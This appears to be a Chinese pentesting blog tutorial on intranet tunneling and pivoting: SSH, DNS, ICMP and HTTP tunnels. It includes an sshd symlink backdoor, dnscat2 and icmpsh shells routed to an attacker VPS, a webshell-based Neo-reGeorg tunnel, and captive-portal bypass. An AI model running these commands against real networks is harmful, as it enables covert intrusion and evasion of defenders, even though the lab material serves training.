LOADING

正在加载

内网代理与转发技巧

壹 内网代理与转发技巧

1.1 概念

内网穿透就是利用各种隧道技术,绕过网络防火墙的封锁,实现访问被封锁的目标网络,需要考虑的点:

  • 能出网,通过允许的协议或一些旁门
  • 隐蔽,不容易被发现,流量可加密,开放代理可设置认证
  • 稳定,关键时刻不能出问题,自动断线重连
  • 限制少,需要的条件越少越好,支持多种协议方式
  • 覆盖面广,跟上一条其实有点关联,主要考虑使用场景越多越好

隧道技术是指一种通过使用互联网络的基础设施在网络之间传递数据的方式,包括数据封装、传输和解包在内的全过程。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。

  • 封装:隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递
  • 传输:被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道
  • 解包:一旦到达网络终点,数据将被解包并转发到最终目的地

按所处的协议层分层:

  • 网络层隧道:ICMP隧道等
  • 传输层隧道:TCP隧道、UDP隧道
  • 应用层隧道:HTTP、DNS、SSH等隧道

1.2 内网主机所有可能的出网方式

1.2.1 允许ICMP协议出网

网络防火墙允许ICMP协议出网,即能ping通外网主机,一般都能出网:

  • Windows系统默认传输32 bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghiping包的大小是可以改变的,但是内容依旧不变,且请求和相应内容相同
  • Linux系统默认传输48 bytes的数据,头信息比较复杂,但是末尾内容是固定!”#$%&’()+,-./01234567

ICMP隐蔽隧道的原理:替换Data部分,利用客户端程序进行接收并处理服务端发送的畸形的ICMP协议(主要是RequestReply包)

检测是否为ICMP隐蔽隧道:

  • 检测同一来源 ICMP 数据包的数量。一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP 隧道的浏览器在同一时间会产生上千个 ICMP 数据包
  • 寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包
  • 注意那些 ICMP 数据包中 payload 大于 64 比特的数据包。当然 icmptunnel 可以配置限制所有数据包的 payload64 比特,这样会使得更难以被检测到
  • 检查ICMP数据包的协议标签,例如 icmptunnel 会在所有的 ICMPpayload 前面增加 TUNL 标记以用于识别隧道,这就是特征

探测ICMP出网方法:通过ping命令进行探测。

ping <IP地址或域名>

1.2.2 允许特定的TCP或UDP协议端口出网

网络防火墙允许特定的TCP或者UDP端口出网,比如连接外网的2253804433389等常见应用的默认监听端口。在一个不能出网的网络环境里面,将所有的TCPUPD端口都探测一遍,通常都能发现有一两个常见的端口能出网。这通常是由于网络管理员的错误配置和偷懒行为导致:

  • 比如配置的防火墙规则前后矛盾,解析的时候遇到匹配规则就退出执行
  • 比如网络管理员配置允许web服务器访问另一子网的mysql数据库的3306端口。网络管理员配置时偷懒,可能会直接放行web服务器到任意ip地址的3306端口

探测TCPUDP出网方法:通过nc或者telnet工具进行探测。

nc <IP地址或域名] <端口>
telnet <IP地址或域名> <端口>

1.2.3 允许特定的应用层协议出网(比如HTTP、SSH、DNS等应用层协议)

1.2.3.1 DNS隧道

原理:配置某个域名的NS服务器,使得对该域名的所有子域解析请求最终到达该NS服务器上,然后将另一个协议的数据编码为一系列DNS查询,响应时客户端将返回的Response数据进行解码得到另一协议的数据

特征:

  • DNS隧道建立后依靠不断发送query信息来判断隧道存活性
  • 通过DNS隧道传输时,客户端将数据编码后作为主机名向DNS服务器提交,DNS服务端解码后读取数据

检测:

  • 每个IP地址的DNS流量异常,DNS报文数量大
  • DNS消息中TXTNULL等不常用的记录类型多
  • DNS消息中域名有部分固定不变
  • DNS服务器的地理位置异常
  • 访问非受信的DNS服务器
  • 基于请求域名长度及请求频率统计分析方法
  • dnscat 查询中包含了 dnscat 字符串

探测DNS出网方法:通过nslookup或者dig命令进行探测。

nslookup <IP地址或域名> [dns服务器]
dig [@dns服务器] <IP地址或域名>

1.2.3.2 HTTP隧道

原理:通过HTTP协议与代理服务器建立连接,协议信令中包含要连接到的远程主机的IP和端口,如果有需要身份验证的话还需要加上授权信息,服务器收到信令后首先进行身份验证,通过后便与远程主机建立连接,连接成功之后会返回给客户端200,表示验证通过。此外HTTP隧道是没有进行加密的,不安全的,一般再嵌套一个SSH安全隧道。

CONNECT 124.xxx.xxx.xx:443 HTTP/1.1 //建立http隧道要443端口
Proxy-Connection: Keep-Alive   //客户端到服务器端的连接持续有效
Content-Length: 0
Host: 124.xxx.xxx.xx   //主机地址
Proxy-Authorization:Basic YTph //身份验证信息
User-Agent: OpenFetion //可以标识请求者的信息,如什么浏览器类型和版本、操作系统、使用语言等信息

探测HTTP出网方法:通过curl命令或者浏览器进行探测。

curl <IP地址或域名>

1.2.4 通过工具探测出网情况

由于探测出网的协议较多,而且繁杂,所以通过使用outnet工具批量探测出网情况。

1.3 端口映射和端口转发

1.3.1 端口映射

假设一个hacker通过扫描暴露到公网中的主机A ,主机A开放了一些敏感端口,而且是弱口令,导致主机Ahacker完全控制。接着hacker就想往公司内网中渗透,通过在主机A监控流量或者扫描的方式,发现了主机B,但是主机B只能由主机A进行访问,开放了80端口,而且没有公网IP。如果hacker想直接访问主机B80端口,对上面的Web服务进行继续渗透,这就需要进行端口映射,让hacker可以远程连接到80端口,这就是一个端口映射场景,端口映射是将内网主机B80端口映射到了具有公网IP的主机A上,本质上是将一个本来无法访问的端口映射到可以访问的IP上了
aca3654e148615c4c95d418bdcb3ac42.png

1.3.2 端口转发

假设hacker位于主机A,主机A可能是攻击者个人电脑,也可能是hacker控制的主机。hacker通过发送恶意邮件的方式给主机B,主机B的用户点开邮件,运行恶意木马导致主机B被感染,就成了我们俗称的肉鸡。虽然已经有木马运行在主机B中,但是由于主机B不在公网中,hacker无法访问到主机B。主机B运行着ssh服务,开放着22端口,hacker如果想在主机A上直接连接主机B22端口,执行shell命令,这就需要端口转发。
b5dd48d0d0c9c2ab990518d5989856fb.png
这时候需要一台主机C,一个公网的VPS,来打通两个机器的通信:

  • 木马的服务端运行在主机C,同时监听两个端口port1port2
  • 木马的客户端运行在主机B,分别主动连接主机B22端口和主机Cport2,可以看到这里主机B22端口不像端口映射那样规定死的,而是更灵活的,可以让木马客户端改变的
  • hacker只需要主动连接主机Cport1,这样就打通了到主机B22端口线路

b127de23fb7d184da5175c066107d935.png

1.3.3 区别

端口映射就相当于一个人只能拉手下一个人的手,不可以随便改变,但是端口转发就是一个人根据需要去拉不同人的手,更灵活。

1.4 HTTP、Socket4、Socket5代理的区别

类型 作用 细节
http 代理客户机的http访问,主要代理访问网页 作用于应用层,常用于客户访问被墙的网站,简称外网,常见的有vpn翻墙操作
Socket4 代理的是数据包的传递,只设计数据的加密、安全等,不设计到各种HTTP等协议区分 只支持TCP协议传输的数据包,也支持身份验证机制、客户端域名解析等等。
Socket5 同上 支持TCP和UDP协议传输的包,包含Socket4的其他功能

个人理解:Socket其实并不是一个协议,而是为了方便使用TCP或者UDP而抽象出来的一层,介于应用层和传输层之间的接口,不过也会说它属于传输层协议,而HTTP是应用层协议,在渗透中使用Socket5代理是因为Socket5代理可以代理的服务、端口比较多,而HTTP代理相对比较少。并不是内网渗透都使用Socket5代理的,一般根据情况而定。

为什么做Socket5代理时,不能ping通对方呢?
ping是ICMP协议,不属于TCP或者UDP的协议,ICMP是网络层与IPV4、6协议(TCP或者UDP)为同层协议,所以在使用Socket5代理时不可以ping通目标的。

1.5 正向代理与反向代理

正向代理(forward proxy):是一个位于客户端和目标服务器之间的服务器(代理服务器),为了从目标服务器取得内容,客户端向代理服务器发送一个请求并指定目标,然后代理服务器向目标服务器转交请求并将获得的内容返回给客户端。
有时候,用户想要访问某国外网站,该网站无法在国内直接访问,但是我们可以访问到一个代理服务器,这个代理服务器可以访问到这个国外网站。这样呢,用户对该国外网站的访问就需要通过代理服务器来转发请求,并且该代理服务器也会将请求的响应再返回给用户。这个上网的过程就是用到了正向代理。
ff6b03d7c57cd230d53c161fd7c59b30.png

举个例子:
租房子的时候,一般情况下,我们很难联系到房东,因为有些房东为了图方便,只把自己的房屋信息和钥匙交给中介了。而房客想要租房子,只能通过中介才能联系到房东。而对于房东来说,他可能根本不知道真正要租他的房子的人是谁,他只知道是中介在联系他。

这里面一共有三个角色,租客(用户)、中介(代理服务器)和房东(国外网站,目标服务器)。引入中介(代理服务器)的原因是用户无法联系上房东(用户无法访问国外网站)。

反向代理(reverse proxy):是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器。

8a4e70fcf22ba640a8aa54db1db36b71.png

举例子:
我们在租房子的过程中,除了有些房源需要通过中介以外,还有一些是可以直接通过房东来租的。用户直接找到房东租房的这种情况就是我们不使用代理直接访问国内的网站的情况。
还有一种情况,就是我们以为我们接触的是房东,其实有时候也有可能并非房主本人,有可能是他的亲戚、朋友,甚至是二房东。但是我们并不知道和我们沟通的并不是真正的房东。这种帮助真正的房主租房的二房东其实就是反向代理服务器。这个过程就是反向代理。

对于常用的场景,就是我们在Web开发中用到的负载均衡服务器(二房东),客户端(租客)发送请求到负载均衡服务器(二房东)上,负载均衡服务器(二房东)再把请求转发给一台真正的服务器(房东)来执行,再把执行结果返回给客户端(租客)。

1.6 用途

1.6.1 正向代理的用途

  • a.突破访问限制

通过代理服务器,可以突破自身IP访问限制,访问国外网站,教育网等。即,租客可以通过中介,来解决无法联系上房东的问题。

  • b.提高访问速度

通常代理服务器都设置一个较大的硬盘缓冲区,会将部分请求的响应保存到缓冲区中,当其他用户再访问相同的信息时, 则直接由缓冲区中取出信息,传给用户,以提高访问速度。即,中介手里留存了很多房源信息和钥匙,可以直接带租客去看房。

  • c.隐藏客户端真实IP

上网者也可以通过这种方法隐藏自己的IP,免受攻击。即,房东并不知道租客的真实身份。

1.6.2 反向代理的用途

  • a.隐藏服务器真实IP

使用反向代理,可以对客户端隐藏服务器的IP地址。即,租客并不房东知道的真实身份。

  • b.负载均衡

反向代理服务器可以做负载均衡,根据所有真实服务器的负载情况,将客户端请求分发到不同的真实服务器上。即,二房东发现房主本人很忙,于是找到房主的妻子帮忙处理租房事宜。

  • c.提高访问速度

反向代理服务器可以对于静态内容及短时间内有大量访问请求的动态内容提供缓存服务,提高访问速度。即,二房东同样有房屋信息和钥匙。

  • d.提供安全保障

反向代理服务器可以作为应用层防火墙,为网站提供对基于Web的攻击行为(例如DoS/DDoS)的防护,更容易排查恶意软件等。还可以为后端服务器统一提供加密和SSL加速(如SSL终端代理),提供HTTP访问认证等。即,二房东可以有效的保护房东的安全。

1.7 正向代理和反向代理的区别

虽然正向代理服务器和反向代理服务器所处的位置都是客户端和真实服务器之间,所做的事情也都是把客户端的请求转发给服务器,再把服务器的响应转发给客户端,但是二者之间还是有一定的差异的。

  • a.正向代理指一对一或多对一,Server 不知道请求的 Client 都是哪些人。反向代理一般是负载均衡的一个原理。按照上面所说,正向代理是一对一或多对一,那么反向代理就是一对多。

7ee9209c5803fc7f397f91fbd828f6b4.png
a65d47fa9f89e4f514d4067e1a2a6d17.png

  • b.正向代理其实是客户端的代理,帮助客户端访问其无法访问的服务器资源。反向代理则是服务器的代理,帮助服务器做负载均衡,安全防护等。
  • c.正向代理一般是客户端架设的,比如在自己的机器上安装一个代理软件。而反向代理一般是服务器架设的,比如在自己的机器集群中部署一个反向代理服务器。
  • d.正向代理中,服务器不知道真正的客户端到底是谁,以为访问自己的就是真实的客户端。而在反向代理中,客户端不知道真正的服务器是谁,以为自己访问的就是真实的客户端。
  • e.正向代理和反向代理的作用和目的不同。正向代理主要是用来解决访问限制问题。而反向代理则是提供负载均衡、安全防护等作用。二者均能提高访问速度。

说白了,正向代理与反向代理的概念是相对而言的,正向代理是客户端为主动发起请求端,而反向代理是服务端为主动发起请求端,一般在内网渗透中我们都是将代理工具的服务端放在攻击机上,导致很多时候使用的是反向代理(不过不能一概而论,看实际情况),而在翻墙时我们是请求外网的网站,自然用的是正向代理。

这里有一篇推荐文章:漫话:如何给女朋友解释什么是反向代理?

贰 SSH 隧道

2.1 介绍

在内网中几乎所有的linux服务器和网络设备都支持ssh协议。一般情况下,ssh协议是允许通过防火墙和边界设备的,而且ssh协议的传输过程是加密的,所以很难区分合法的ssh会话和攻击者利用其他网络建立的隧道。攻击者就可以使用ssh端口隧道突破防火墙的限制后,建立一些之前无法建立的TCP连接。

-C 压缩传输,提高传输速度。
-f 将 SSH 传输转入后台执行,不占用当前 shell
-N 建立静默连接(建立了连接但看不到具体会话)
-g 允许远程主机连接本地用于转发的端口。
-L 本地端口转发
-R 远程端口转发
-D 动态转发(SOCKS 代理)
-p 指定自己自定义的 SSH 端口
-i 指定自己的私钥文件

SSH隧道优缺点:

  • 优点:
    隐蔽性较好,数据加密
    ssh功能Linux系统一般都有,方便快捷

  • 缺点:
    需要被控机的管理员权限,开启ssh的端口转发功能GatewayPorts
    需要被控机系统密码,也可以使用ssh漏洞

2.2 前提

假设我们得到一个 root 权限的主机,且该主机能够出公网,我们打算建立内网隧道点,打通网络,伪装出口 IP。所以我们打算使用使用 SSH 建立内网隧道点,打通网络,伪装出口 IP。

  • 拓扑图:
    3ea2bf3e1d15ad78b397113bad0b85c6.png

2.3 复现

所有的主机的sshd_config配置文件都要将 GatewayPorts 选项调整为 yes 状态:
98742f6e92908c941080a128dfdf0fef.png

首先在被控机开启 socks5 服务,这里相当于进入被控机的另一个终端:

ssh -D 0.0.0.0:[内网SOCKS5服务端口] root@localhost -p 自定义端口(可以不设置)

bb6370941f81ac6d39ea2485ed734681.png
发现需要该被控机的系统密码,我们可以结合 SSH 后门免密登录(这一步应该是提前执行的,我们这里是为了顺着说):

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=自定义端口(这里的端口就是上面的ssh自定义端口)

e4883b5671dbc925fc40f5eee47f2500.png

接着将该被控机的 Socks5 服务端口转发到 VPS 上的随便一个自定义端口:

ssh -R 0.0.0.0:[远程 VPS 中转端口]:0.0.0.0:[被控机 socks5 服务端口] root@vps的IP

2440f03cf47ee67c25f470e0beb95629.png
可以看到进入到了VPS的终端,这个时候,VPS 上已经开启了内网的 Socks5 代理,直接挂代理连接即可。
89f716914c753947182ae01350d79de5.png
或者:
f0c789173521ecfb97195c466a8b2004.png
我们还可以搭配ssh的参数使用,这里就不过多赘述。

  • 主要的几个命令(这些命令不是死的需要根据不同场景使用):
    # 本地开启socks5
    ssh -D 0.0.0.0:[内网SOCKS5服务端口] root@localhost -p 自定义端口(可以不设置)
    # 本地端口转发,根据拓扑图注意区别内网机和被控机的IP
    ssh -L 0.0.0.0:[VPS 端口]:内网机机IP:[内网机端口] root@被控机网卡1的IP
    # 远程端口转发
    ssh -R 0.0.0.0:[远程 VPS 中转端口]:0.0.0.0:[被控机 socks5 服务端口] root@vps的IP
    # 0.0.0.0IP表示省略,但为了安全性考虑,请务必使用127.0.0.1做为本地监听端口, 而不要使用默认的0.0.0.0
    

2.4 参考

叁 DNS隧道

3.1 介绍

有些时候环境 TCP 无法出外网,但是 DNS 可以直接解析,或者配置内网 DNS 服务器后可以解析,那么就可以通过 DNS 反弹 Shell,建立隧道。这里主要讲述反向 DNS 隧道。

还有有情况就是当我们在酒店、机场等公共场所,通常有Wifi信号,但是当我们访问一个网站时,可能会弹出个窗口,让你输入用户名、密码,登陆之后才可以继续上网。这时,你没有账号,就无法上网。但是有时你会发现,你获取到得 DNS 地址是有效的,并且可以用以进行 DNS 查询,这时你便可以用DNS 隧道技术来实现免费上网了!

DNS 隧道原理:当终端设备在做DNS查询的时候,如果查的域名在DNS服务器本机的cache中没有,它就会去互联网上查询,最终把结果返回给终端设备。这时候在互联网上有台定制的服务器,我们只要依靠DNS的这层约定,就可以交换数据包了。DNS协议上看,终端设备是在一次次的查询某个特定域名,并得到解析结果,但实际上,终端设备已经通过特定的DNS服务器实现了外部上网。因为这个过程没有直接连到局域网外的机器,因此网关不会转发你的IP包出去,但实际上局域网上的DNS服务器帮我们做了中转。

DNS隧道工具的作用就是将进入DNS隧道的其他协议流量封装到DNS协议内,并将其在DNS隧道上传输,当这些数据包出DNS隧道时就会进行解封装,还原数据,DNS服务器就会取解析和执行这些数据,从而达到代理转发数据的目的。

DNS隧道可以分为直连中继两种:

  • 直连就是Client直接和指定的目标DNS服务器连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性比较弱,很容易被探测到,另外限制比较高,很多场景不允许自己指定DNS服务器。
  • 而通过DNS迭代查询而实现的中继隧道,则更为隐秘,但同时因为数据包到达目标DNS服务器前需要经过多个节点,所以速度上较直连慢很多

DNS隧道优缺点:

  • 优点:
    根据中继模式,隐蔽性较好
    直连模式速度快,局限性高

  • 缺点:
    需要域名
    直连模式容易被发现
    中继模式速度慢

3.2 前提

  • 拓扑图:
    fa1dd0f78b61f4d46a78c8b2f3b45e40.png

  • 使用工具:dnscat2
    dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成,包括:文件上传、下载、反弹Shell等。
    dnscat2.zip

# 在VPS上设置服务端,编译安装,VPS需要ruby环境,一般kali自带
git clone https://github.com/iagox86/dnscat2.git 
cd dnscat2/server/
sudo gem install bundler 
bundle install

# 在被控机上,即可以解析DNS的机子上安装dnscat2,可以将编译好的dnscat2客户端上传,可能会存在依赖问题,根据实际情况选择
git clone https://github.com/iagox86/dnscat2.git 
cd dnscat2/client/ 
make
  • 确保VPS53端口开启,即DNS服务开放
    d13690ed62c4ef8356c34ac518ff205c.png

3.3 复现

在没有域名的情况下可以使用直连的方式,也就是domain不加域名,但在数据包中很明显,所有域名都以dnscat为前缀,除非你破解了源代码,防火墙经常会阻止此模式。

首先VPS作为服务端,运行:

# 在没有域名的情况下可以使用直连的方式,也就是下面的复现过程,但在数据包中很明显,所有域名都以dnscat为前缀,除非你破解了源代码,防火墙经常会阻止此模式
ruby ./dnscat2.rb --dns host=服务端IP,port=dns端口,domain=域名 --secret=自定义密码
# --dns是设置服务端的IP、端口和域名,可以不加,默认没有域名,host=0.0.0.0,port=53
# --secret是自定义连接密码,可以不加,会自动生成

d1e40f7856284d4343454eb43520c640.png
接着被控机作为客户端,运行:

# 客户端连接根据实际情况连接也就是上图标红的地方
# 中继
./dnscat 域名 --secret=密码
# 直连
./dnscat --dns server=x.x.x.x,port=服务端自定义的dns端口 --secret=密码
# x.x.x.x 就是自己 VPS 的 IP 地址

37e89b290b7ec4d0e0a156f8768eb839.png
被控机出现以上显示,服务端出现下图显示,说明已经建立session
d42fd90bd8f1333a8d91737ef9a1147e.png
我们可以查看当前 session

# 该命令查看session
windows

c174fa86c077370ceae4cfeee489095a.png
我们进入id 1会话,运行:

windows -i [id]

8cdc5fa972ed6f6d40167f5cd3e0b5bd.png
可以看到对应的使用说明,我们开启非交互式 shell,会出现新的id,我们继续进入新的id即可进入被控机的shell
5219fdcef6c1ca8d939d1d4c311e4629.png

我们还可以使用 listen 命令将内网端口转发出来,即在VPS上运行:

listen [VPS的IP]:[本地端口] [内网机的IP]:[内网机端口]

bafb588167a4b522388580e24f98d452.png
接着在VPS开一个新的终端,输入ssh连接,即可访问:
e9a6e0a74f3401b6bc6de24551121e91.png

help可查看控制台支持的命令,常用的有:

quit (退出控制台)
kill <id> (中断通道)
set(设值,比如设置set secret=<new value>来动态改变--secret密码)
windows(列举出所有的通道)
window -i <id>(连接某个通道)

进入隧道后,使用help同样可以看到其内支持的命令:

clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键`ctrl+z`)
windows(列举出所有的通道)
window -i <id>(连接某个通道)
listen [VPS的IP]:[本地端口] [内网机的IP]:[内网机端口](内网代理转发)
shutdown (断开被控机)

3.4 参考

肆 ICMP隧道

4.1 介绍

ICMP报文中除了必须要有的类型、校验和等等还可以携带一定长度的可选数据,这也就是我们可以用来搭建隧道的原因,不过每次报文携带得的字节不会很多,所以有点慢。

  • 优点
    防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高
  • 缺点
    ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低
    利用隧道传输时,需要接触更低层次的协议 ,这就需要高级用户权限

4.2 前提

  • 拓扑图:
    7db7b3af0025daf3ca359b7fdc963f66.png

  • 使用工具:
    icmpsh:最后更新于2013年,客户端使用C语言实现,只能运行在目标Windows机器上;而服务端由于已经有CPerl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中,该工具能通过ICMP协议反弹cmd,不用管理员权限,但反弹回来的cmd极不稳定,加上常年未维护,版本过老,不推荐使用
    icmpsh-master.zip

# 用法
# git clone https://github.com/inquisb/icmpsh.git
# 关闭ping回复,防止内核自己对ping包进行响应。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
# 服务端(VPS)攻击端执行
python icmpsh_m.py <服务端IP> <客户端IP>
# 客户端(被控机)执行
icmpsh.exe -t <服务端-IP>
  • icmptunnel:最后更新于2017年,创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的VPN,需要root权限,动静极大,不推荐使用
    icmptunnel-1.0.0.zip
# 用法
# 服务端与客户端均需要以下操作
# 安装和编译
git clone https://github.com/DhavalKapil/icmptunnel.git
cd icmptunnel
make
# 禁用ICMP echo回复,防止内核自己对ping包进行响应,(需要root权限)
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

# ++++++++++++++++服务端++++++++++++++++
# 启动隧道(root权限)
./icmptunnel -s [server-IP]
# 观察路由
route -n

# ++++++++++++++++客户端++++++++++++++++
# 修改client.sh
route add -host [server-IP] gw [client-IP] dev eth0
# 建立隧道
./icmptunnel -c [server-IP]
  • pingtunnel:持续更新,TCPUDPsocks5 over ICMP,速度快,连接稳定,跨平台,支持大多数具有libpcap的操作系统,从版本0.7开始,ptunnel也可以在装WinPcapWindows上编译,推荐使用
    pingtunnel-2.6.zip
# 用法
# 服务端,需要root权限,key是设置密码,服务端需要根据我们要做什么代理来决定的
sudo ./pingtunnel -type server -key 密码

# 客户端,需要root权限

# tcp映射,本地监听端口,并把该端口通过服务端重定向至要访问的机器IP端口
./pingtunnel -type client -l :本地端口 -s 服务端IP -t 要访问的机器IP:端口 -tcp 1 -key 与服务端对应密码

# sock转发,本地监听端口开启socks代理,并把流量重定向至服务端,此时流量通过服务端出去,主机出网
./pingtunnel -type client -l :本地端口 -s 服务端IP -sock5 1 -key 与服务端对应密码

# 注意这里有两个参数需要说明:noprint和nolog两个参数,noprint为调试输出,记录当前连接状况等,nolog为日志输入,将连接状况记录到日志中,如果不需要这两个参数将其置为1即可,实验手册中均置为1

4.3 复现

这个复现是通过B这个跳板机去实现的A访问C,即A访问CWeb服务,我们将B主机设置为服务端,B是内网的一个机器:

sudo ./pingtunnel -type server -key 1234

0243211d654493c10182f205b257c719.png

在攻击机A设置客户端:

#监听本地的 4455 端口,发送到4455端口的流量将通过 ICMP 隧道转发到 10.0.1.132 服务器的 8000 端口
./pingtunnel -type client -l :4455 -s 10.0.1.131 -t 10.0.1.132:8000 -tcp 1 -key 1234

335efc4e18de616d6f015154d2523f33.png
在执行完上面两条命令之后,在A主机上访问http://localhost:4455即可访问C的目标8000端口:
e3c458d4083fe793e09c7ffd4062bcb2.png

4.4 参考

伍 HTTP隧道

5.1 介绍

HTTP隧道是通过HTTP协议与代理服务器建立连接,把所有要传送的数据全部封装到HTTP协议里进行传送,协议中包含有要连接的远程主机的IP和端口,连接成功之后会返回给客户端200,表示验证通过。当我们获取到一台web主机服务器并且该服务器除了http协议可以出网,其他都不能使用时,我们可以考虑搭建正向的http隧道,通过webshell进行连接。

5.2 前提

  • 拓扑图:
    6f9f3436cb19c266033f17b567cabf64.png

  • 使用工具:Neo-reGeorg是一个基于http协议的内网穿透神器,也就是我们在获得服务器的webshell后可以通过上传生成好的tunnel来建立sock5连接,通过sock5连接更好的对内网进行横向渗透,是常见的http正向隧道工具,是reGeorg工具的升级版。增加了很多特性,例如像内容加密、避免被检测、请求头定制、响应码定制、支持py3等等。

5.3 复现

由于没有搭建代理不可访问:192.168.52.143
a1c5c927f0781e9e26827096e75ae77d.png

在攻击机中,使用py neoreg.py generate -k 123456 -o a将客户端文件生成到a文件夹中,密码为1234566
b95143fc09334d43a9685b0891f800dd.png
5b91023dd2c28e2d12a0b0fb08f61307.png

6.2.2 上传脚本

将生成好的脚本上传到受害机中。注意这里上传的目录一定要能访问到。
910f9defb67ebb19250d9e0c71058c62.png
使用攻击机浏览器探测一下,确认可以访问。
f083d40e3f08f5ee5b254096d0ff3933.png
在攻击机上输入py neoreg.py -k 123456 -u http://192.168.0.192/tunnel.php
dee051026c5336fdac79a409a1f6e804.png
根据提示我们需要使用socks5协议连接127.0.0.1:1080,URL为http://192.168.106.129/tunnel.php
在攻击机火狐浏览器中,添加代理插件,修改参数,进行访问。
2ef70134a4b41a76e85e3fd41b763d82.png
b1ffa82dacdc8522e3d02ea6ca0acfa9.png

5.4 参考

陆 小结

当然还有TCPUDPSocket隧道等,这些隧道属于使用场景较广的隧道,很多时候我们搭建的都是Socket隧道,它可以包装很多中协议进行通信,同时支持该隧道的工具也很多,而TCP隧道算是一个大类,包含http隧道、ssh隧道等,而UDP隧道也是大类,包含DNS隧道,故这里不做过多介绍。不管是平时的工作还是做内网渗透,都会用到隧道技术,隧道技术并不仅限于在特定的环境下使用,而是应该将其灵活运用。

avatar
小C&天天

修学储能 先博后渊


今日诗句